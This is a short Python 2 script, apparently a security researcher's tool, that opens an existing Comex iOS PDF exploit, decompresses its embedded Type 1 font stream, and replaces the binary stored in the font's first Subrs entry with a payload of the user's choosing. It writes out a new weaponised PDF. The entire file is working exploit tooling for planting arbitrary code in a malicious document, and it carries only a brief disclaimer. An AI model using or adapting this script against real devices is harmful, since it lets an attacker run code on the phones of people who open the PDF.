iOSExploit.py

#!/usr/bin/python
import zlib, sys, re, struct

# Disclaimer
print 'This information is for research and academic purposes only! This info is not to be abused! I am not responsible for any damage that you may create!'
print 'Jose Selvi - jselvi@pentester.es'

# Checking Arguments
if len(sys.argv) != 4:
	print 'Usage: ' + sys.argv[0] + ' <Comex_PDF_Exploit.pdf> <New_Payload.bin> <Output.pdf>'
	exit()

print 'Input PDF: ' + sys.argv[1]
print 'Inpunt Binary: ' + sys.argv[2]
print 'Output PDF: ' + sys.argv[3]

# Read PDF Exploit
pdf = open(sys.argv[1], 'rb').read()

# Search encoded stream
m1 = re.search('\nstream\n', pdf)
stream_begin = m1.end()
m2 = re.search('\nendstream\n', pdf[stream_begin:])
stream_end = m2.start() + stream_begin

# Split PDF content
pdf_before_stream = pdf[:stream_begin-1]
pdf_encoded_stream = pdf[stream_begin:stream_end]
pdf_after_stream = pdf[stream_end+1:]

# Decode Stream
pfb = zlib.decompress( pdf_encoded_stream )

# Search dup 0 line
m1 = re.search('\n/Subrs [0-9]+ array\n', pfb)
dup_begin = m1.end()
m2 = re.search('\ndup 1 ', pfb)
dup_end = m2.start()

# Split PFB Content
pfb_before_dup0 = pfb[:dup_begin-1]
pfb_dup0 = pfb[dup_begin:dup_end]
pfb_after_dup0 = pfb[dup_end+1:]

# Get Lenght and encoded file
m1 = re.search('dup 0 [0-9]+ x ', pfb_dup0)
file_begin = len(m1.group(0))
file_end = len(pfb_dup0)-4

# Save original binary
z_oldbin = pfb_dup0[file_begin:file_end]
z_oldbin_len = len( z_oldbin )

# Read new payload
newbin = open(sys.argv[2], 'rb').read()
newbin_encoded = zlib.compress( newbin, 9 )
newbin_len = len( newbin_encoded )
newbin_encoded = newbin_encoded + '\x00'*(z_oldbin_len-newbin_len)
newbin_len = len( newbin_encoded )

# Create Dup 0 string
pfb_dup0 = 'dup 0 ' + str(newbin_len) + ' x ' + newbin_encoded + ' put'

# Create New PFB
pfb = pfb_before_dup0 + '\n' + pfb_dup0 + '\n' + pfb_after_dup0

# Compress PFB and Create New PDF
pdf_encoded_stream = zlib.compress( pfb, 9 )
pdf = pdf_before_stream + '\n' + pdf_encoded_stream + '\n' + pdf_after_stream
open(sys.argv[3], 'wb').write(pdf)